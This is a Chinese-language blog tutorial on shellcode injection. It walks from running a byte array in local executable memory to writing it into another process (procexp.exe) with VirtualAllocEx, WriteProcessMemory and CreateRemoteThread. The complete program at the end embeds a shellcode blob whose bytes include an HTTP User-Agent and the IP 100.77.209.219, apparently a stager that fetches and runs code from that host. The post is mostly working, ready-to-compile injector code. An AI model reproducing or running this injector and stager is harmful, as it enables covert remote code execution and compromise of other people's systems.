ShellCode注入原理

  • A+
所属分类:逆向工程

shellcode注入原理

我们直接写入可能无法执行

unsigned char data[130] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,    0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,    0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,    0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,    0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,    0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,    0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,    0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,    0x5D, 0xC3};typedef void(*PFN_FOO)();int main(){    PFN_FOO f = (PFN_FOO)(void *)data;    f();

无法执行

ShellCode注入原理

可以看到可读可写不可执行,修改保存就行了 因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区

VirtualAlloc

LPVOID VirtualAlloc(  LPVOID lpAddress,        // region to reserve or commit  SIZE_T dwSize,           // size of region  DWORD flAllocationType,  // type of allocation  DWORD flProtect          // type of access protection);

这里来申请一块

LPVOID lpAddr = VirtualAlloc(            NULL,    //表示任意地址,随机分配            1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节            MEM_COMMIT,    //告诉操作系统给分配一块内存            PAGE_EXECUTE_READWRITE        );    if (lpAddr == NULL){        printf("Alloc error!");        return 0;    }
ShellCode注入原理

可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉

memcpy(lpAddr, data, sizeof(data));typedef void(*PFN_FOO)();PFN_FOO f = (PFN_FOO)(void*)lpAddr;f();VirtualFree(lpAddr,1,MEM_DECOMMIT);

完整代码

unsigned char data[130] = {    0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x40, 0x00, 0x8B, 0x45, 0xF8,    0x0F, 0xB7, 0x08, 0x81, 0xF9, 0x4D, 0x5A, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x5F, 0x8B,    0x55, 0xF8, 0x8B, 0x45, 0xF8, 0x03, 0x42, 0x3C, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x81, 0x39,    0x50, 0x45, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x44, 0x8B, 0x55, 0xFC, 0x0F, 0xB7, 0x42,    0x18, 0x3D, 0x0B, 0x01, 0x00, 0x00, 0x74, 0x04, 0x33, 0xC0, 0xEB, 0x32, 0x8B, 0x4D, 0xFC, 0x83,    0x79, 0x74, 0x0E, 0x77, 0x04, 0x33, 0xC0, 0xEB, 0x25, 0xBA, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC2,    0x0E, 0x8B, 0x4D, 0xFC, 0x83, 0x7C, 0x01, 0x78, 0x00, 0x74, 0x09, 0xC7, 0x45, 0xF4, 0x01, 0x00,    0x00, 0x00, 0xEB, 0x07, 0xC7, 0x45, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xF4, 0x8B, 0xE5,    0x5D, 0xC3};int main(){    LPVOID lpAddr = VirtualAlloc(            NULL,    //表示任意地址,随机分配            1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节            MEM_COMMIT,    //告诉操作系统给分配一块内存            PAGE_EXECUTE_READWRITE        );    if (lpAddr == NULL){        printf("Alloc error!");        return 0;    }    //到这里表示能够成功分配内存    memcpy(lpAddr, data, sizeof(data));    typedef void(*PFN_FOO)();    PFN_FOO f = (PFN_FOO)(void*)lpAddr;    f();    VirtualFree(lpAddr,1,MEM_DECOMMIT);    return 0;

这里我们本地写个messagebox,可以看到helloworld是再常量区地址为0C65858h,但是函数的引用地址却在0C6916Ch,他们之间是有强烈的依赖关系,所以我们如果直接把代码抽出来是无法利用的

ShellCode注入原理

所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行 所以我们要先开辟空间然后再写入,然是可以看到VirtualAlloc写了谁调用在谁哪里开辟空间

ShellCode注入原理

所以我们就用加强版VirtualAllocEx,它可以在指定进程去开辟 VirtualAllocEx

LPVOID VirtualAllocEx(  HANDLE hProcess,          // process to allocate memory  LPVOID lpAddress,         // desired starting address   SIZE_T dwSize,            // size of region to allocate  DWORD flAllocationType,   // type of allocation  DWORD flProtect           // type of access protection);

代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的

//获取快照    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32 pe32;    DWORD pid = 0;    pe32.dwSize = sizeof(PROCESSENTRY32);    //查看第一个进程    BOOL bRet = Process32First(hSnap, &pe32);    while (bRet)    {        bRet = Process32Next(hSnap, &pe32);        if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){            pid = pe32.th32ProcessID;            break;        }    }    //获取进程句柄    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

就是昨天的代码,然后再来开辟一个空间

    //1.在目标进程开辟空间    LPVOID lpAddr = VirtualAllocEx(        hProcess,    //在目标进程中开辟空间        NULL,    //表示任意地址,随机分配        1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节        MEM_COMMIT,    //告诉操作系统给分配一块内存        PAGE_EXECUTE_READWRITE        );    if (lpAddr == NULL){        printf("Alloc error!");        return 0;    }

然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的 WriteProcessMemory

BOOL WriteProcessMemory(  HANDLE hProcess,                // handle to process  LPVOID lpBaseAddress,           // base of memory area  LPCVOID lpBuffer,               // data buffer  SIZE_T nSize,                   // count of bytes to write  SIZE_T * lpNumberOfBytesWritten // count of bytes written);

这里我们就写入进去

    //2.在目标进程中写入代码    bRet = WriteProcessMemory(        hProcess,    //目标进程        lpAddr,    //目标地址    目标进程中        data,    //源数据    当前进程中        sizeof(data),    //写多大        &dwWritesBytes //成功写入的字节数        );    if (!bRet){        VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);        return 0;    }

写进去了还要调用才能执行,创建远程线程 CreateRemoteThread

HANDLE CreateRemoteThread(  HANDLE hProcess,                          // handle to process  LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD  SIZE_T dwStackSize,                       // initial stack size  LPTHREAD_START_ROUTINE lpStartAddress,    // thread function  LPVOID lpParameter,                       // thread argument  DWORD dwCreationFlags,                    // creation option  LPDWORD lpThreadId                        // thread identifier);

返回目标进程的线程

//3.向目标程序调用一个线程 创建远程线程  执行写入代码    HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程        NULL,        0,        (LPTHREAD_START_ROUTINE)lpAddr,    //目标进程的回调函数        NULL,    //回调参数        0,        NULL        );

这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放 完成代码为

// shellcode.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include <Windows.h>#include <TlHelp32.h>/* length: 799 bytes */unsigned char data[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xaex08x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx58x66x39x65x00xc8x03xfex93x1ax5ex52x6dx5ax5dx0dx22x3cx47x8ex31x2dx7bxeexa8xc3x22x6bx24xb5x43x4dx44x35x96x5cx48xd7xedx39xccxeexbfxdex49x49x3fx83x58xe9x48x1ex33xc7x49x50x48xd4x97xc7x14xf4x34x36x15x89x74x00x00xb2x0axd7x63x86xdcx5ex9bx74x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4cx42x42x52x4fx57x53x45x52x29x0dx0ax00x0bx81xc7x34x3dxa6xb5x8fx9axebx20x23xc5xb5xe6x9dx11x47x8exc0x15xd9x15xc4x57x55x1axd1xc7xcdxfcxa6xefxfexe0x02xfcxaax9ex73xf7x3cxa0xd8xefxaex42x73x79x7ax50xe2x04x6axb3x1cx8exd4xfax11x0fx4dxe7x16xfex22x29xa9x81x5bx45xf0xc6x90x97x49xf6x85xa3xf8xc8xf7x7dxccxabx89x33x13x1ax76x30x03x10x7fx3ex67xe6x59xf9xbdx84x70x6ex2ax3ax1fx88x51xa8x26x89x0ex1bxbaxefxafxe8xc5x59xbfx4dxe5x47xadxefxc8x32x31xe8xb5x9dxf9xd6xeaxf5x64xd6xf3xf6xb5xa0xc9x94xf0xbcxe5x5ex51xeex31x14xc7x94xf2x79x56x10xc5x56x04x85xa9x0ax36x7cx2dx4ax06xe2xcfx29x25x68xc7x9bx90xf6x8fx6ax9bxdaxf7x2fx96x58x9cx44x15xf5xbfxe8x4dx82x31xcdx5fx39x6axdfxd7xc3xb5x9cx21x23x85xbfx00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x30x2ex37x37x2ex32x30x39x2ex32x31x39x00x6fxaax51xc3";typedef void(*PFN_FOO)();int main(){    //获取快照    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    PROCESSENTRY32 pe32;    DWORD pid = 0;    pe32.dwSize = sizeof(PROCESSENTRY32);    //查看第一个进程    BOOL bRet = Process32First(hSnap, &pe32);    while (bRet)    {        bRet = Process32Next(hSnap, &pe32);        if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){            pid = pe32.th32ProcessID;            break;        }    }    //获取进程句柄    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);    //1.在目标进程开辟空间    LPVOID lpAddr = VirtualAllocEx(        hProcess,    //在目标进程中开辟空间        NULL,    //表示任意地址,随机分配        1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节        MEM_COMMIT,    //告诉操作系统给分配一块内存        PAGE_EXECUTE_READWRITE        );    if (lpAddr == NULL){        printf("Alloc error!");        return 0;    }    DWORD dwWritesBytes = 0;    //2.在目标进程中写入代码    bRet = WriteProcessMemory(        hProcess,    //目标进程        lpAddr,    //目标地址    目标进程中        data,    //源数据    当前进程中        sizeof(data),    //写多大        &dwWritesBytes //成功写入的字节数        );    if (!bRet){        VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);        return 0;    }    //3.向目标程序调用一个线程 创建远程线程 执行写入代码    HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程        NULL,        0,        (LPTHREAD_START_ROUTINE)lpAddr,    //目标进程的回调函数        NULL,    //回调参数        0,        NULL        );    return 0;}
ShellCode注入原理
ShellCode注入原理

ShellCode注入原理


点赞 转发 在看


原创投稿作者:一寸一叶

ShellCode注入原理

本文始发于微信公众号(HACK学习呀):ShellCode注入原理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: